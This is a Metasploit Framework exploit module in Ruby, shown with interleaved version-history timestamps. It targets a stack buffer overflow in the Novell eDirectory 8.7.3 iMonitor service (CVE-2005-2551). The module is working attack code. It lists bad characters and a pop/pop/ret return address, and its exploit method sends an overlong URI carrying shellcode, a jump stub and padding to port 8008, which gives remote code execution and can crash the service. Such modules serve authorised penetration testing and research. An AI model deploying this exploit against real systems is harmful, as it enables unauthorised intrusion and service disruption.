2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-05-20 20:55:01 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2010-07-13 22:11:40 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2010-05-09 17:45:00 +00:00
|
|
|
'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
|
2005-12-26 14:34:22 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in eDirectory 8.7.3
|
2005-12-26 14:34:22 +00:00
|
|
|
iMonitor service. This vulnerability was discovered by Peter
|
|
|
|
Winter-Smith of NGSSoftware.
|
2010-07-13 22:11:40 +00:00
|
|
|
|
|
|
|
NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
|
|
|
|
not restart automatically in a default installation.
|
2005-12-26 14:34:22 +00:00
|
|
|
},
|
2008-05-20 20:55:01 +00:00
|
|
|
'Author' => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ],
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2005-2551'],
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'OSVDB', '18703'],
|
2005-12-26 14:34:22 +00:00
|
|
|
[ 'BID', '14548'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 4150,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-12-26 14:34:22 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-12-26 14:34:22 +00:00
|
|
|
[
|
|
|
|
[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 11 2005',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8008)
|
|
|
|
], self.class)
|
2005-12-26 14:34:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
c = connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
|
|
|
|
uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
|
|
|
|
uri << "\xe9\xbd\xef\xff\xff"
|
|
|
|
uri << "B" * 0xD0
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-05-20 20:55:01 +00:00
|
|
|
res = c.send_request(c.request_raw({ 'uri' => uri }))
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,4)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-10-12 14:39:51 +00:00
|
|
|
end
|